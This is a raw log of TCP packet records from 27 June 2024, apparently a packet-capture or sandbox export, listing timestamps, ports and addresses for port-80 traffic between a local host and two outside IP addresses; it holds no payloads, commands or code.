Jun 27, 2024 19:26:04.490020990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:04.502896070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:04.515316963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:05.221205950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:05.221283913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:05.249825954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:05.254859924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:05.980165005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:05.980305910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:05.984340906 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:05.989207029 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:05.989309072 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:05.989481926 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:05.994344950 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.697005987 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.697087049 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.697103024 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.697118998 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.697134018 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.697130919 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.697150946 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.697168112 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.697221994 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.697221994 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.697221994 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.697278976 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.697293997 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.697308064 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.697329044 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.697365999 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.702574015 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.702603102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.702636003 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.702668905 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.837610960 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.837687016 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.837837934 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.837867022 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.840996027 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.842436075 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.842453003 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.842612028 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.842710018 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.842724085 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.842765093 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.842799902 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.847151995 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.847167969 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.847222090 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.847424984 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.847440958 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.847455978 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.847481966 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.847512960 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.851886034 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.851902962 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.851964951 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.852108002 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.852127075 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.852163076 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.852186918 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.856638908 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.856673956 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.856708050 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.856736898 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.856894970 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.856929064 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.856952906 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.856981993 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.861298084 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.861332893 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.861361027 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.861393929 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.928294897 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.928375006 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.928378105 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.928409100 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.928426027 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.928461075 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.961927891 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.961986065 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.961994886 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.962024927 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.962032080 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.962061882 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.962069035 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.962105989 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.962207079 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.962251902 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.962439060 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.962470055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.962492943 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.962512970 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.962537050 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.962572098 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.962583065 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.962606907 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.962614059 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.962650061 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.963087082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.963120937 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.963135958 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.963157892 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.963166952 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.963210106 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.963236094 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.963270903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.963287115 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.963315964 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.963973045 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.964031935 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.964045048 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.964082956 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.964095116 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.964129925 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.964135885 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.964173079 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.964186907 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.964215040 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.964864969 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.964901924 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.964915991 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.964936972 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.964945078 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.964987040 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.965030909 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.965065956 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.965079069 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.965107918 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.965748072 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.965785027 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.965800047 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.965817928 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.965838909 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.965864897 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.965912104 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.965948105 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.965964079 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.966010094 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.966665030 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.966702938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.966722012 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.966737986 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.966753960 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.966793060 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.966820002 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.966857910 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.966867924 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.966912031 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.967529058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.967578888 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.967586040 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.967619896 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.967631102 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.967665911 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.967709064 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.967742920 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.967756033 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.967782021 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:06.968427896 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:06.968472004 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.018891096 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.018953085 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.018980980 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.019015074 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.019045115 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.019081116 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.019092083 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.019114971 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.019124985 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.019150019 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.019156933 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.019191027 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.053458929 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.053517103 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.053545952 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.053553104 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.053564072 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.053587914 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.053595066 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.053630114 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.093677044 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.093753099 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.093811035 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.093852997 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.094189882 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.094248056 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.094264984 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.094301939 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.094311953 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.094337940 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.094366074 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.094400883 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.094635963 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.094670057 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.094696045 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.094705105 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.094717026 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.094738960 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.094749928 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.094774961 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.094783068 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.094809055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.094820976 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.094842911 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.094846964 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.094887018 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.094914913 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.094949961 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.094959021 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.094983101 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.094997883 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.095019102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.095024109 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.095052958 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.095062017 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.095098972 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.095103025 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.095133066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.095145941 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.095169067 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.095179081 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.095206022 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.095211983 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.095247030 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.095293999 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.095326900 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.095340967 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.095362902 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.095367908 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.095397949 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.095405102 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.095432997 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.095441103 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.095467091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.095473051 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.095503092 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.095514059 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.095542908 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.095556974 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.095599890 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.095607996 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.095643044 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.095653057 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.095679045 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.095685005 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.095712900 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.095721960 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.095747948 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.095753908 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.095784903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.095793962 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.095834017 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.095928907 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.095963001 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.095974922 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.095998049 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.096007109 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.096031904 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.096038103 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.096065998 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.096071005 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.096100092 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.096106052 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.096134901 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.096142054 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.096173048 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.096345901 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.096390009 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.096399069 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.096432924 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.096442938 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.096477985 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.096569061 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.096601009 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.096610069 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.096641064 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.096642971 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.096684933 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.096684933 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.096721888 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.096723080 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.096755028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.096761942 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.096791029 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.096798897 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.096843004 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.096888065 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.096921921 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.096934080 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.096957922 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.096961021 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.096988916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.097002029 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.097029924 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.109601021 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.109663010 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.109697104 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.109724045 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.109734058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.109757900 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.109791040 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.109791040 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.109822989 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.109885931 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.109935999 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.109971046 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.109998941 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.110014915 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.110029936 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.110050917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.110076904 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.110127926 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.110177040 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.110205889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.110239029 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.110260963 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.144052029 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.144114017 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.144159079 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.144167900 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.144185066 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.144203901 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.144216061 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.144238949 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.144260883 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.144272089 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.144289970 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.144324064 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.144330978 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.144366026 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.144376040 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.144398928 CEST	80	49706	77.91.77.81	192.168.2.5
